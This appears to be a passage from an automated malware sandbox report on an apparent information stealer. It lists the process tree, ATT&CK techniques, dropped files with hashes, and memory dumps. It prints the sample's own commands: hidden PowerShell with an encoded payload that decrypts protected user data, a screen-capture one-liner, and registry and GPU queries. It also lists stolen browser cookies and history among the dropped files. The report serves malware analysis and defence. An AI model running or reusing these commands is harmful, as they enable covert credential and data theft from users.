bABJAHAAOABNAGEAcAArAGQANAB3AEEAQQBBAEEAbwBPAHcAVABJAHkAUwBLAHgAWABiADkAawBjAHcARAA2AEkAawBBADUAagBoADUANQBTAFcATgB4AEkATABGAEgAegBZAFgATgB5ADcAUwBrAGkAYwBYAG4AagBSAGcAZAA1AEEAKwBaAFMASwBhADEAZQBXAG4ATQBPAGsAMgBRAEEAQQBBAEEATABBAEkAQQBFAFAANQBXAGIAOABvAGEAegBFAGsASQBVADcAYQBDADkANAAwAGIASgBhAHMAUQBBAGsAVAAvADcAbQBtAFQAQQBVAFcASQA0AHkAagBQAFMAWgBvAHQASQAzADUATgBpAE4AawBWAHMAWABrAGQANABvAHoASQAxAFAAYQBHAE8AYQAxAGgASgBuAE8ASwBKADMAbwBVADIAQgB5AGoAawBBAD0AJwApAAoAdAByAHkAIAB7AAoAIAAgACAAIAAkAHAAPQBbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABiACwAJABuAHUAbABsACwAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4ARABhAHQAYQBQAHIAbwB0AGUAYwB0AGkAbwBuAFMAYwBvAHAAZQBdADoAOgBDAHUAcgByAGUAbgB0AFUAcwBlAHIAKQAKACAAIAAgACAAWwBDAG8AbgBzAG8AbABlAF0AOgA6AE8AdQB0AC4AVwByAGkAdABlACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAcAApACkACgB9ACAAYwBhAHQAYwBoACAAewAKACAAIAAgACAAVwByAGkAdABlAC0ARQByAHIAbwByACAAJABfAC4ARQB4AGMAZQBwAHQAaQBvAG4ALgBNAGUAcwBzAGEAZwBlAAoAfQA="
  2⤵
  - Hide Artifacts: Hidden Window
  - Suspicious use of WriteProcessMemory
  PID:4328
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AAoAJABiAD0AWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnAEEAUQBBAEEAQQBOAEMATQBuAGQAOABCAEYAZABFAFIAagBIAG8AQQB3AEUALwBDAGwAKwBzAEIAQQBBAEEAQQBVADUASgA1AFYASgBwAGgAUQBVADYAUgA4AHkAOABsAFYAcwA1AHEAdQBSAEEAQQBBAEEAQQBlAEEAQQBBAEEAVABRAEIAcABBAEcATQBBAGMAZwBCAHYAQQBIAE0AQQBiAHcAQgBtAEEASABRAEEASQBBAEIARgBBAEcAUQBBAFoAdwBCAGwAQQBBAEEAQQBFAEcAWQBBAEEAQQBBAEIAQQBBAEEAZwBBAEEAQQBBAGsAKwBWAEIAZgBxAFoATAA2ADAATgBLAE4ALwBuADcATABJAFYAWQBlAEIAYQBkAGkANQBHAC8AdwBzADAAdgBSAEsAQgBpACsAbgBMAGMAeQBnAFkAQQBBAEEAQQBBAEQAbwBBAEEAQQBBAEEAQwBBAEEAQQBnAEEAQQBBAEEAWgBsAEoAZwBzAFEANABRAEoAVAArACsAMgBOAE0AVABFAGsATABaAHMAMwBqAE8ANABrAHMAOABhAEQAYgB3AEUAbABJAHAAOABNAGEAcAArAGQANAB3AEEAQQBBAEEAbwBPAHcAVABJAHkAUwBLAHgAWABiADkAawBjAHcARAA2AEkAawBBADUAagBoADUANQBTAFcATgB4AEkATABGAEgAegBZAFgATgB5ADcAUwBrAGkAYwBYAG4AagBSAGcAZAA1AEEAKwBaAFMASwBhADEAZQBXAG4ATQBPAGsAMgBRAEEAQQBBAEEATABBAEkAQQBFAFAANQBXAGIAOABvAGEAegBFAGsASQBVADcAYQBDADkANAAwAGIASgBhAHMAUQBBAGsAVAAvADcAbQBtAFQAQQBVAFcASQA0AHkAagBQAFMAWgBvAHQASQAzADUATgBpAE4AawBWAHMAWABrAGQANABvAHoASQAxAFAAYQBHAE8AYQAxAGgASgBuAE8ASwBKADMAbwBVADIAQgB5AGoAawBBAD0AJwApAAoAdAByAHkAIAB7AAoAIAAgACAAIAAkAHAAPQBbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABiACwAJABuAHUAbABsACwAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4ARABhAHQAYQBQAHIAbwB0AGUAYwB0AGkAbwBuAFMAYwBvAHAAZQBdADoAOgBDAHUAcgByAGUAbgB0AFUAcwBlAHIAKQAKACAAIAAgACAAWwBDAG8AbgBzAG8AbABlAF0AOgA6AE8AdQB0AC4AVwByAGkAdABlACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAcAApACkACgB9ACAAYwBhAHQAYwBoACAAewAKACAAIAAgACAAVwByAGkAdABlAC0ARQByAHIAbwByACAAJABfAC4ARQB4AGMAZQBwAHQAaQBvAG4ALgBNAGUAcwBzAGEAZwBlAAoAfQA=
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3752
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name /value"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5736
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path win32_VideoController get name /value
    3⤵
    - Detects videocard installed
    - Suspicious behavior: EnumeratesProcesses
    PID:5436
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3680
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2984
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Valve\Steam" /v SteamPath"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5332
- - C:\Windows\system32\reg.exe
    reg query "HKCU\Software\Valve\Steam" /v SteamPath
    3⤵
    PID:5356

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Window

T1564.003

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Google Chrome (Default).txt

Path C:\Users\Admin\AppData\Local\1623621d087b48fb\browser_data\cookies\Google Chrome (Default).txt
Size 7B
SHA256 0a5664353be698fb7e263a110d3fbcb60e1cfe2af192083b77efa097fecb3b6f
MD5 52455ff99183fe0a681a7dc30b28683d
SHA1 2639d3bccd3f3e6c3b7898e3e9185acbd8efeff0
SHA512 7c57675a5058ec9d7ae5d6136a259196f298a6480218aa105e6e55145952468bcfe06b9d00b86016dbb870aceb27dee0540b48be1f8defb13f236f1cc5dd9cf5
MD5 SHA1 SHA512

Submit Download

ahs.dat

Path C:\Users\Admin\AppData\Local\1623621d087b48fb\browser_data\history\ahs.dat
Size 97B
SHA256 014d8e11992cb66d87b647e8237b430eaf7a94c11744abc97ef98d37e930a696
MD5 79f0f3f7be6a1e683fac2ac4d176e560
SHA1 60f35334945141e613cab278d52b848ba61b25ba
SHA512 e966ca3edc444172227a963b1b7cee712f424976823a3438d638594e81259fb169086dc5ab1c72f246e119c31bf4e6d0d3a7c9a5f48f282191a7ebf069c27b87
TLSH
T1EFB00295F0D9DD3A8118B155192057CC3C366B5ECAE17621108F02C8012F7A77A857C2
MD5 SHA1 SHA512 TLSH

Submit Download

tpygf5xurm.zip

Path C:\Users\Admin\AppData\Local\1623621d087b48fb\tpygf5xurm.zip
Size 987B
SHA256 1c7065fd03db1750b0c75a163d0d377e837cce2a037923e3f02a713a48d0a46a
MD5 ab5b21380ff83b837e7bf668c544e8a0
SHA1 17ec6afbc8f26e27fd988b0177781466523369c9
SHA512 26c270a680295dac053ce8c83491f3fcd3449600a58ed858afb616e00c1d695e9b8276494e594cb3b429fa2ae20158a2cb56f30b33a7b7f0d5211db76db5478e
TLSH
T18F11612D729E9D1AC663A27456104B071B19DE7FE005F62B3847F1AC59374A3A70161A
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
MD5 acbc65123954839a819fa2495d239bf7
SHA1 063cff64444a6e3b4be1445b4cecb477e4d6ae47
SHA512 af07d3f6dcf1779bcc864aabe9e08563b20b8df8238df7bb08a5fe3b4e40d10f2e2a4442a042fe5d7a320e3b8195799ecc885549faa8babb5909eb32271e7b91
TLSH
T170216833B3DD8615CC9A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 dc4ebf4baa7b27ac79e1e8787c84c5adaaaad1ec2f83eaf97b5e28040afcf03b
MD5 0e932b1ed17f820b0407292b23fc5d27
SHA1 1dda880759427aecc348c9682a007e95c5bf8861
SHA512 f47ba042f5840f65550c19b97ee510601e104e0bcd8ecfb80e82210d8b9a9e6a83d476953582b9a6bc9736c732e1bda565e9c27bef68740b1c597ee1d8f9adba
TLSH
T161216833B3DD8624D89A413A10CDAC1036B6C7DB41DECFAB6B84E659A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 24c5d38b907dca4e626b98bccf461cc533f25541d60fd13c491a9d9ac3bb93bc
MD5 6ff5be174b74a4ba4618812100c36b16
SHA1 c6394368360c1df9ee7d8d811a8372c95d9e420b
SHA512 07ede49e1dd19bbe91731f955294bda2cefd3fdb691c08cdea3581fc8c889b7cd32236ed4e361ec99f67309f7ecfabc9f01a61819c2deef7190b1b26e1c77f30
TLSH
T17A21AF33F3CC8654DC8A403654CEAC0136B6CBD7409ECE9B6B84D114F42F288CEA1160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 163808bdef89c367c8d303a788d4e696b4615e5a533f06364c13a7c306d7d401
MD5 327c38c86859e41d2e9de98a2522ae95
SHA1 17559b824c1ce770c2636215a4192d44b118c920
SHA512 6ca3c67236fe13222ade6e0bb8c66a9d2cb1e372bddd5cde60f33c808f0342d74404be8c77fcba5bc294e91aa5b543070f6194e2611e89457010cb6182c81931
TLSH
T1BA215933B3CC8624DC4A407A50DEAC1136A687D7409ECE6BABC5E559F42F198DEA1060
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_30to03tu.a40.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_30to03tu.a40.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

system_check_1786670717461.vbs

Path C:\Users\Admin\AppData\Local\Temp\system_check_1786670717461.vbs
Size 212B
SHA256 b1e3a51dab45d473d8772cab626ad93699e1b4de07852b0f8b008bd88c91095c
MD5 1643392da7c56c52c3e6266974eaa8fd
SHA1 58003f5694f29b50243866f1af84639a658f3080
SHA512 61e83490a7499af8d2c07ab2ccb4201fc3f9b8cbd9e27c288c0e403eff0de0a398a74f765b691975c279fc06f729fcf874cdc9096d4a5d0c481fb5cbeb9ed8a5
TLSH
T14ED02322DCDCD561148D82D151E44E1C6B1D8A94725BCC1B4FC2508E731E561DE75217
MD5 SHA1 SHA512 TLSH

Submit Download

memory/964-43-0x000001A9B70E0000-0x000001A9B7192000-memory.dmp

Download

memory/3360-13-0x00000212542D0000-0x00000212542EE000-memory.dmp

Download

memory/3360-26-0x00007FF8B8CE0000-0x00007FF8B9684000-memory.dmp

Download

memory/3360-17-0x000002123C1B0000-0x000002123C1BA000-memory.dmp

Download

memory/3360-18-0x00007FF8B8CE0000-0x00007FF8B9684000-memory.dmp

Download

memory/3360-19-0x00007FF8B8CE0000-0x00007FF8B9684000-memory.dmp

Download

memory/3360-20-0x00007FF8B8CE0000-0x00007FF8B9684000-memory.dmp

Download

memory/3360-21-0x00007FF8B8CE0000-0x00007FF8B9684000-memory.dmp

Download

memory/3360-22-0x00007FF8B8CE0000-0x00007FF8B9684000-memory.dmp

Download

memory/3360-23-0x00007FF8B8CE0000-0x00007FF8B9684000-memory.dmp

Download

memory/3360-24-0x00007FF8B8CE0000-0x00007FF8B9684000-memory.dmp

Download

memory/3360-25-0x00007FF8B8CE0000-0x00007FF8B9684000-memory.dmp

Download

memory/3360-16-0x00007FF8B8CE0000-0x00007FF8B9684000-memory.dmp

Download

memory/3360-28-0x00007FF8B8CE0000-0x00007FF8B9684000-memory.dmp

Download

memory/3360-15-0x00000212542F0000-0x00000212543A2000-memory.dmp

Download

memory/3360-14-0x00007FF8B8CE0000-0x00007FF8B9684000-memory.dmp

Download

memory/3360-1-0x00007FF8B8E6F000-0x00007FF8B8E70000-memory.dmp

Download

memory/3360-10-0x00007FF8B8CE0000-0x00007FF8B9684000-memory.dmp

Download

memory/3360-9-0x00007FF8B8CE0000-0x00007FF8B9684000-memory.dmp

Download

memory/3360-2-0x00007FF8B8CE0000-0x00007FF8B9684000-memory.dmp

Download

memory/3360-8-0x00007FF8B8CE0000-0x00007FF8B9684000-memory.dmp

Download

memory/3360-7-0x00007FF8B8CE0000-0x00007FF8B9684000-memory.dmp

Download

memory/3360-6-0x00007FF8B8CE0000-0x00007FF8B9684000-memory.dmp

Download

memory/3360-5-0x000002123C0E0000-0x000002123C102000-memory.dmp

Download

memory/3796-48-0x00000202A1DE0000-0x00000202A1E30000-memory.dmp

Download